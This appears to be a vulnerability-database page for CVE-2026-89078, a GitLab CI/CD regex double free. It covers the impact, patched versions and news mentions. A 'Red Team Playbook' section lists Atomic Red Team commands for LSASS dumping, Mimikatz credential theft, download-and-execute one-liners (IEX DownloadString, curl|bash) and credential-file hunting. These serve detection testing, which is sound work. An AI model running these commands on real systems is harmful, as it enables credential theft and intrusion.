CVE-2026-89078
Overview
This vulnerability is a double free memory corruption issue occurring in the GitLab CI/CD configuration parser. The flaw arises when processing specially crafted regular expressions, causing improper memory management in the regex parsing component. It affects GitLab Community Edition and Enterprise Edition versions from 19.2 prior to 19.2.7, 19.3 prior to 19.3.3, and 19.4 prior to 19.4.1, specifically within the CI/CD pipeline configuration handling module.
Vulnerability Description
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to execute arbitrary code on the GitLab server due to a double free issue when parsing a specially crafted regular expression in a CI/CD configuration.
Impact
An attacker with authenticated access to GitLab can leverage this vulnerability to execute arbitrary code on the GitLab server, potentially gaining full control over the underlying system. This enables unauthorized access to sensitive repository data, manipulation of CI/CD pipelines, and lateral movement within the infrastructure. The prerequisite is a valid user account capable of submitting or modifying CI/CD configurations. Successful exploitation can lead to complete system compromise and disruption of development workflows.
Solution
GitLab has released patches addressing this issue in versions 19.2.7, 19.3.3, and 19.4.1. Users should upgrade affected GitLab CE/EE instances to these or later versions immediately. Detailed patch instructions and release notes are available at https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-1-released/. No specific workarounds are provided; upgrading is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | 19.4.0 |
cpe:2.3:a:gitlab:gitlab:19.4.0:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | 19.4.0 |
cpe:2.3:a:gitlab:gitlab:19.4.0:*:*:*:enterprise:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (42)
30 mentions from 28 sources in the last 7 days BuzzFactor 92 / 100
-
social bsky.app @wojak7537.bsky.social 2026-10-24 07:57 UTCRuby 3.4.12 was released on 23 Oct 2026, fixing Regexp compilation bugs that GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 rely on.Open source
-
social bsky.app @newssecia.bsky.social 2026-10-24 05:21 UTC🤖 Ruby 4.0.9, 3.4.12, 3.3.13 fix Onigmo memory bugs behind GitLab RCEs CVE-2026-89078/93577/97229/110264. Affects apps compiling attacker-controlled patterns. https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/Open source
-
social infosec.exchange @cloud 2026-10-24 05:21 UTC🤖 Ruby 4.0.9, 3.4.12 and 3.3.13 fix the Onigmo memory-corruption bugs behind GitLab's CVE-2026-89078 (double free in regex parser), CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 — RCE when a user-supplied pattern is compiled. Regexp.t…Open source
-
social bsky.app @mackuba.eu 2026-10-24 02:52 UTCRuby PSA: important security updates for Ruby 4.0/3.4/3.3 for the Gitlab CVEs: www.ruby-lang.org/en/news/2026... #ruby #rubylangOpen source
-
social bsky.app @getpokemon7.bsky.social 2026-10-23 20:43 UTC「GitLab」がセキュリティアップデートを公開 - 深刻な脆弱性にも対処 GitLabは、同社の開発プラットフォーム「GitLab」に脆弱性が見つかったとしてアップデートをリリースした。深刻な脆弱性にも対処している。 ... 重要度を見ると、4段階評価でもっとも高い「クリティカル(Critical)」とされる脆弱性は2件。「CVE-2026-89078」は、ダブルフリーの脆弱性。CI/CD設定内の解析処理に存在し、認証されたユーザーが細工した正規表現を処理させることで、G…Open source
-
social bsky.app @sughimsi.bsky.social 2026-10-23 19:49 UTCRuby本体のOnigmo修正リリース。 www.ruby-lang.org/en/news/2026...Open source
-
social infosec.exchange @DarkWebInformer 2026-10-23 19:33 UTC🚨 Ruby fixes three regex engine bugs linked to remote code execution risks Ruby has released versions 4.0.9, 3.4.12 and 3.3.13 to address three memory corruption bugs in its Onigmo regular expression engine.⠀The flaws involve a double free…Open source
-
social bsky.app @ijanc.org 2026-10-23 18:34 UTCtime to update www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @tiff.bunny.blue.ap.brid.gy 2026-10-23 17:13 UTCit's been a long week https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/Open source
-
social bsky.app @ayourtch.bsky.social 2026-10-23 17:01 UTCwww.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @r-blueteamsec.bsky.social 2026-10-23 16:54 UTCRegexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 | RubyOpen source
-
social bsky.app @m0bi.mastodon.com.pl.ap.brid.gy 2026-10-23 16:31 UTCPolecam uwadze administracjom m.in. Mastodona i Discourse: https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/ #Ruby #bezpieczeństwoOpen source
-
social bsky.app @some-rss-feeds.bsky.social 2026-10-23 16:19 UTC[some-subscribed-rss] New Post: "No way to prevent this" say users of only language where this regularly happens, by https://xeiaso.net/shitposts/no-way-to-prevent-this/memory-safety/CVE-2026-89078/Open source
-
social bsky.app @mconley.fosstodon.org.ap.brid.gy 2026-10-23 16:08 UTCWelp https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/Open source
-
other christine-seeman.com 2026-10-23 15:41 UTCNot Letting PHP Have All the Fun: Ruby’s Regexp Fixes for GitLab’s CVEs The day after I wrote about PHP2Shell , Ruby posted regexp compilation fixes tied to four GitLab CVEs: CVE-2026-89078, CVE-2026-93577, CVE-2026-97229, and CVE-2026-110…Open source
-
social bsky.app @xeiaso.net 2026-10-23 15:38 UTC"No way to prevent this" say users of only language where this regularly happens https://xeiaso.net/shitposts/no-way-to-prevent-this/memory-safety/CVE-2026-89078/Open source
-
social bsky.app @cadey.pony.social.ap.brid.gy 2026-10-23 15:38 UTC"No way to prevent this" say users of only language where this regularly happens https://xeiaso.net/shitposts/no-way-to-prevent-this/memory-safety/CVE-2026-89078/?utm_campaign=mi_irl&utm_medium=social&utm_source=mastodonOpen source
-
social bsky.app @tutter-fish.bsky.social 2026-10-23 15:16 UTCRubyの正規表現に関する重大な脆弱性の影響について (CVE-2026-89078、CVE-2026-93577、CVE-2026-97229、CVE-2026-110264) Tutterでは、現段階では影響はございません。 tutter.fish/articles/14Open source
-
social bsky.app @juuh42dias.bsky.social 2026-10-23 10:33 UTCBora atualizar o Ruby aí meu povo www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @tishisaka.bsky.social 2026-10-23 10:28 UTCRegexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 | Ruby www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @nillpo.bsky.social 2026-10-23 09:52 UTC"Regexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 | Ruby" www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @tech-trending.bsky.social 2026-10-23 08:10 UTCRegexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 | Ruby https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/Open source
-
social bsky.app @wojak7537.bsky.social 2026-10-23 06:57 UTCRuby 4.0.9, 3.4.12 and 3.3.13 fix Onigmo regexp compilation bugs behind GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264, which GitLab found could enable remote code execution. https://agxsearch.ai/t/gxg2czOpen source
-
social bsky.app @connorshea.bsky.social 2026-10-23 04:59 UTCRuby not being left out of the party this week www.ruby-lang.org/en/news/2026...Open source
-
social bsky.app @k0kubun.com 2026-10-23 04:48 UTCWe released Ruby 4.0.9, 3.4.12, and 3.3.13, and published an announcement about Regexp compilation fixes. www.ruby-lang.org/en/news/2026... If your application compiles a regular expression from an untrusted string, please update your Ruby…Open source
-
news t.co 2026-10-22 08:49 UTCGitLab Fixes Critical Unauthenticated Code-Execution Flaw Affecting Releases Since 2014 · cyber.hendryadrian.com - Howl.linkOpen source
-
news finance.biggo.com 2026-10-22 04:55 UTCGitLab Releases Emergency Patch for Unauthenticated RCE Flaw With Perfect CVSS Score, Affecting 12 Years of Versions - BigGo FinanceOpen source
-
news news.lavx.hu 2026-10-21 20:37 UTCGitLab fixes critical unauthenticated RCE spanning 12 years of releases - news.lavx.huOpen source
-
news thehackernews.com 2026-10-21 18:57 UTCCritical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases - The Hacker NewsOpen source
-
news techjuice.pk 2026-10-21 07:00 UTCGitLab Patches Two Critical 9.9 RCE Flaws in Regex Engine - TechJuiceOpen source
-
news socprime.com 2026-10-13 09:00 UTCCVE-2026-97229: Critical GitLab RCE Flaw Enables Unauthenticated Code Execution - SOC PrimeOpen source
-
news thehackernews.com 2026-10-05 07:00 UTC⚡ Weekly Recap: NetScaler and FortiMail 0-Days, AI Coding Leaks, Spectre v2 and Ransomware Arrests - The Hacker NewsOpen source
-
social bsky.app @cyberhub.blog 2026-09-29 04:07 UTC📌 CVE-2026-89078 - GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.2 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under c... https://www.cyberhub.blog/cves/CVE-2026-89078Open source
-
news cybersecuritynews.com 2026-09-25 07:00 UTCCritical GitLab Bugs Let Attackers Execute Code Through Malicious CI/CD Regex - CyberSecurityNewsOpen source
-
